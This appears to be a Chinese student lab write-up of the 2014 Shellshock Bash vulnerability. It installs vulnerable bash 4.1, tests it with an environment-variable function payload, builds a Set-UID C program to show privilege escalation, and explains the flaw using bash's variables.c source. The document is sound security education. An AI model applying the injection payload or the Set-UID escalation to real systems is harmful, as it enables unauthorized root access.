实验背景

2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。在本实验中,需要亲手重现攻击来理解该漏洞,并回答一些问题。

什么是ShellShock

Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。

环境搭建

由于4.2版本以上,该漏洞已经被堵上了,因此要以root权限安装4.1版bash()

实验楼中提供的bash4.1的地址:http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

下载

$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

安装

$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install



链接

$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash

到这里环境就安装完了,接下来检测是否存在shellshock漏洞。

测试

$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"

输出vulnerable的话,说明bash有漏洞。

最后,让/bin/sh 指向/bin/bash.

$ sudo ln -sf /bin/bash /bin/sh

现在一切就绪,进入下一步吧。

测试

1.预备知识

  • 了解bash自定义函数,只需要函数名就能够调用该函数。
$ foo() { echo lichen20199312; }
$ foo
> lichen20199312

  • 这个时候的Bash的环境变量:
KEY = foo
VALUE = () { echo lichen20199312; }

来看看ShellShock漏洞的真身:

export foo='() { :; }; echo Hello lichen12'
bash
>Hello lichen12

为什么调用bash的时候输出Hello lichen12了呢?瞧瞧他内部的情况:

KEY = foo
VALUE = () { :; }; echo Hello lichen12

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。

正式实验

本实验中,我们通过攻击Set-UID程序来获得root权限。

我们知道system()函数将调用"/bin/sh -c" 来运行指定的命令, 这也意味着/bin/bash 会被调用,你能够利用shellshock漏洞来获取权限么? 首先,确保安装了带有漏洞的bash版本,并让/bin/sh 指向/bin/bash.

$ sudo ln -sf /bin/bash /bin/sh

在 /home/shiyanlou 目录下新建一个 shock12.c 文件:

$ vi shock12.c

按 I 键切换到插入模式,再输入如下内容:

#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}

编译这段代码,并设置其为Set-UID程序,保证它的所有者是root。

$ sudo su
$ gcc -o shock shock12.c
$ chmod u+s shock

我们注意到这里使用了setuid(geteuid()) 来使real uid = effective uid,这在Set-UID程序中不是普遍现象,但它确实有时会发生。 先自己试着hack一下:) 以下是hack过程:

如果 setuid(geteuid()) 语句被去掉了,再试试看攻击,我们还能够拿到权限么?

#include <stdio.h>
void main()
{
system("/bin/ls -l");
}
$ sudo su
$ gcc -o shock1 shock12.c
$ chmod u+s shock1
$ ls -il shock1
$ exit
$ ./shock1

失败了!这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了。

variables.c部分代码

/* Initialize the shell variables from the current environment.
If PRIVMODE is nonzero, don't import functions from ENV or
parse $SHELLOPTS. */
void
initialize_shell_variables (env, privmode)
char **env;
int privmode;
{
char *name, *string, *temp_string;
int c, char_index, string_index, string_length;
SHELL_VAR *temp_var; create_variable_tables (); for (string_index = 0; string = env[string_index++]; )
{ char_index = 0;
name = string;
while ((c = *string++) && c != '=')
;
if (string[-1] == '=')
char_index = string - name - 1; /* If there are weird things in the environment, like `=xxx' or a
string without an `=', just skip them. */
if (char_index == 0)
continue; /* ASSERT(name[char_index] == '=') */
name[char_index] = '\0';
/* Now, name = env variable name, string = env variable value, and
char_index == strlen (name) */ temp_var = (SHELL_VAR *)NULL; /* If exported function, define it now. Don't import functions from
the environment in privileged mode. */
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
{
string_length = strlen (string);
temp_string = (char *)xmalloc (3 + string_length + char_index); strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string); parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST); /* Ancient backwards compatibility. Old versions of bash exported
functions like name()=() {...} */
if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
name[char_index - 2] = '\0'; if (temp_var = find_function (name))
{
VSETATTR (temp_var, (att_exported|att_imported));
array_needs_making = 1;
}
else
report_error (_("error importing function definition for `%s'"), name); /* ( */
if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
name[char_index - 2] = '('; /* ) */
}

摘出其中关键部分并简化

void initialize_shell_variables(){
// 循环遍历所有环境变量
for (string_index = 0; string = env[string_index++]; ) {
/*...*/
/* 如果有export过的函数, 在这里定义 */
/* 无法导入在特权模式下(root下)定义的函数 */
if (privmode == 0 && read_but_dont_execute == 0 &&
STREQN (“() {“, string, 4)) {
[...]
// 这里是shellshock发生的地方
// 传递函数定义 + 运行额外的指令
parse_and_execute (temp_string, name,
SEVAL_NONINT|SEVAL_NOHIST);
[...]
} }

就是上述那一行判断逻辑导致了两者的不同,primode即私有模式,要求real uid 与 effective uid保持一致。

感悟

该漏洞在于,Bash把函数体解析完了之后,去执行了函数定义后面的语句。原理十分简单危害却巨大无比。此类型的攻击方式频出关键在于bash在设计的时候对于环境变量的依赖,人们可以尝试着使用各种方式诱骗bash视其为命令。

最新文章

  1. JFinal 国际化
  2. Spark 累加器
  3. Pip Permittion Issue on MacOS
  4. Properties
  5. nginx 虚拟主机
  6. win8磁盘占用100%的12种解决办法
  7. 【BZOJ】【1965】SHUFFLE 洗牌
  8. 关于索引degree设置的问题
  9. C语言程序代写(Linux下线程)
  10. 在打包程序中自动安装SQL Server数据库 .
  11. MyBatis-配置缓存
  12. pg_config executable not found
  13. 【JavaScript你需要知道的基础知识~】
  14. 从SonarQube谈设计模式
  15. Spring Boot中采用Mockito来mock所测试的类的依赖(避免加载spring bean,避免启动服务器)
  16. (六)循环和控制语句及列表迭代(enumerate)
  17. 初学python之路-day06
  18. Lucene 06 - 使用Lucene的Query API查询数据
  19. Python中DataFrame去重
  20. python函数的创建和函数参数

热门文章

  1. 【C++札记】类的继承
  2. new/delete与命名空间
  3. MySQL运维中的Tips--持续更新
  4. 百度云服务接口错误:Parameter invalid, the key input with filter parameter is not searchfilter column key
  5. python多线程一些知识点梳理
  6. go ---fmt
  7. 全栈项目|小书架|服务器开发-Koa2 参数校验处理
  8. vue刷新页面出现闪烁
  9. JSON省市区
  10. ASP.NET Core 过滤器中使用依赖注入